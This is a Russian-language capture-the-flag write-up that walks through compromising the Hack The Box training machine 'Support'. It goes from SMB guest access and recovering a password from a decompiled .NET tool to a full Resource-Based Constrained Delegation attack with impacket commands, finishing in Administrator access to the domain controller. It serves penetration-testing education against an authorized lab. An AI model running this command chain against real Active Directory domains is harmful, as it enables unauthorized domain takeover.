Хакер - HTB Support. Проводим классическую атаку RBCD для захвата домена
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- Точка опоры
- Локальное повышение привилегий
- RBCD
В этом райтапе я покажу, как проводить атаку RBCD для захвата домена Active Directory. Но сначала мы декомпилируем несложное приложение на .NET для получения доступа к LDAP, а затем получим учетную запись пользователя.
Наша цель — захватить тренировочную машину Support с площадки Hack The Box. Ее уровень сложности обозначен как легкий.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.174 support.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

По результатам сканирования имеем много открытых портов, что типично для систем на базе ОС Windows:
- 53 — служба DNS;
- 88 — служба Kerberos;
- 135 — служба удаленного вызова процедур (Microsoft RPC). Используется для операций взаимодействия контроллер — контроллер и контроллер — клиент;
- 139 — служба сеансов NetBIOS, NetLogon;
- 389 — служба LDAP;
- 445 — служба SMB;
- 464 — служба смены пароля Kerberos;
- 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
- 636 — LDAP с шифрованием SSL или TLS;
- 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
- 5985 — служба удаленного управления WinRM;
- 9389 — веб‑службы AD DS.
DNS ничего не дал, а вот SMB позволяет подключаться от имени гостя. Для работы я советую использовать CrackMapExec. К примеру, получить список общих ресурсов с соответствующими разрешениями можно параметром --shares.
crackmapexec smb 10.10.11.174 -u guest -p '' --shares
ТОЧКА ВХОДА
Подключаемся к общему ресурсу и смотрим, что мы можем оттуда забрать.
smbclient //10.10.11.174/support-tools -N

Больше всего, судя по названиям файлов, нам интересен UserInfo.exe.zip.
get UserInfo.exe.zip

Это приложение на .NET, поэтому мы можем его легко декомпилировать с помощью dnSpy и проанализировать исходный код. В нем мы находим класс Protected, метод getPassword которого должен расшифровать и вернуть пароль.

Давай восстановим алгоритм и узнаем пароль.
enc_password = b"0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
key = b"armando"
import base64
e_password = base64.b64decode(enc_password)
dec_password = []
for i in range(len(e_password)):
dec_password.append(chr(e_password[i] ^ key[i % len(key)] ^ 223))
"".join(dec_password)

В итоге получаем пароль и продолжаем анализ приложения.
ТОЧКА ОПОРЫ
В исходном коде класса LdapQuery можно узнать имя пользователя, которое используется при подключении к LDAP.

У нас есть все необходимые учетные данные, поэтому подключимся к службе LDAP с помощью JXplorer.


Первым делом соберем и просмотрим информацию о пользователях. Так, в атрибуте info пользователя support можем получить какую‑то интересную строку.

Возможно, это пароль. Проверить гипотезу можно с помощью CrackMapExec.
crackmapexec smb 10.10.11.174 -u support -p Ironside47pleasure40Watchful

Мы нашли пароль пользователя домена, попробуем извлечь из этого больше информации. На удаленном хосте активна служба удаленного управления Windows, поэтому получим список пользователей группы Remote Management Users.
crackmapexec smb 10.10.11.174 -u support -p Ironside47pleasure40Watchful --groups 'Remote Management Users'

Узнаем, что наш пользователь может заходить на хост по WinRM. Делаем это с помощью evil-winrm и забираем первый флаг.
evil-winrm -i 10.10.11.174 -u support -p Ironside47pleasure40Watchful

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Теперь нужно разобраться, куда двигаться дальше. Инструменты WinPEAS и PowerUp ничего не дали, значит, нужна более продвинутая разведка, в которой мы задействуем BloodHound.
Справка: BloodHound
Утилита BloodHound использует теорию графов для выявления скрытых и зачастую непреднамеренных взаимосвязей в среде Active Directory. Ее можно использовать, чтобы легко идентифицировать очень сложные пути атаки. Помимо самой утилиты, которая позволяет просматривать граф, существует часть, загружаемая на удаленный хост для сбора информации. Она бывает в версиях для Windows — на PowerShell или C# — и для Linux — на Python.
BloodHound
Первым делом качаем с GitHub версию нагрузки BloodHound на Python:
git clone https://github.com/fox-it/BloodHound.py.git
cd BloodHound.py
python3 setup.py install
А теперь соберем информацию с целевого хоста, благо это не займет много времени. В параметрах указываем учетные данные для подключения, адрес хоста и тип собираемой информации — всю (параметр -c, значение all).
bloodhound-python -u support -p 'Ironside47pleasure40Watchful' -d support.htb -dc dc.support.htb -gc dc.support.htb -ns 10.10.11.174 --dns-tcp -c all

В логах видим, сколько доменов, лесов и компьютеров было найдено, сколько пользователей и групп получено. BloodHound создаст в текущей директории несколько файлов. Для работы с ними нам нужно установить СУБД Neo4j и графическую оснастку BloodHound для построения графа связей.
sudo apt install neo4j bloodhound
Запустим установленную СУБД командой sudo neo4j console. После сообщения об успешном старте зайдем на http://localhost:7474/ через браузер. Нам сразу предложат установить пароль. После установки пароля запускаем BloodHound (команда bloodhound в командной строке) и авторизуемся с только что установленным паролем. Откроется пустое окошко. Закидываем в него полученные в результате работы bloodhound-python файлы.
В поле поиска указываем группу пользователей. На экране будут отображены все пользователи из этой группы, среди которых найдем всех подконтрольных нам и пометим как Mark User as Owned. На иконке пользователя должен появиться череп.

Затем перейдем в графу аналитики и попросим BloodHound найти путь продвижения к другим пользователям от уже взломанных (которых мы только пометили) — опция Shortest Path from Owned Principals. Так мы получим маршрут от пользователя Support.

Если следовать графу, то целевой пользователь Support — член группы Shared Support Accounts, которая, в свою очередь, имеет права GenericAll (полные права) на объект контроллера домена.
RBCD
В данном случае мы можем провести атаку RBCD. Обычный способ проведения этой атаки — создать учетную запись компьютера, что может сделать каждый пользователь домена (по умолчанию до десяти таких аккаунтов). Сделаем это с помощью скрипта addcomputer из набора скриптов impacket.
impacket-addcomputer -computer-name 'ralf_pc$' -computer-pass 'RRrr!!11' -dc-ip 10.10.11.174 'support.htb'/'support':'Ironside47pleasure40Watchful'

Новый SPN необходимо указать вот в этом атрибуте целевого объекта (в нашем случае контроллера домена):
msDS-AllowedToActOnBehalfOfOtherIdentity
Для этого можно использовать готовый скрипт.
python3 rbcd.py -f RALF_PC -t DC -dc-ip 10.10.11.174 'support.htb'\'support':'Ironside47pleasure40Watchful'

Затем, используя данные этой учетной записи, злоумышленник может получить тикет через запросы S4U2Self и S4U2Proxy. В этом тоже поможет пакет скриптов impacket.
impacket-getST -spn host/dc.support.htb -impersonate Administrator -dc-ip 10.10.11.174 'support.htb'/'ralf_pc$':'RRrr!!11'

После получения тикета можно использовать Pass-the-Ticket для доступа к целевому хосту. Экспортируем билет и подключаемся к серверу по WMI.
export KRB5CCNAME=Administrator.ccache
impacket-wmiexec -k -no-pass support.htb/Administrator@dc.support.htb

Машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei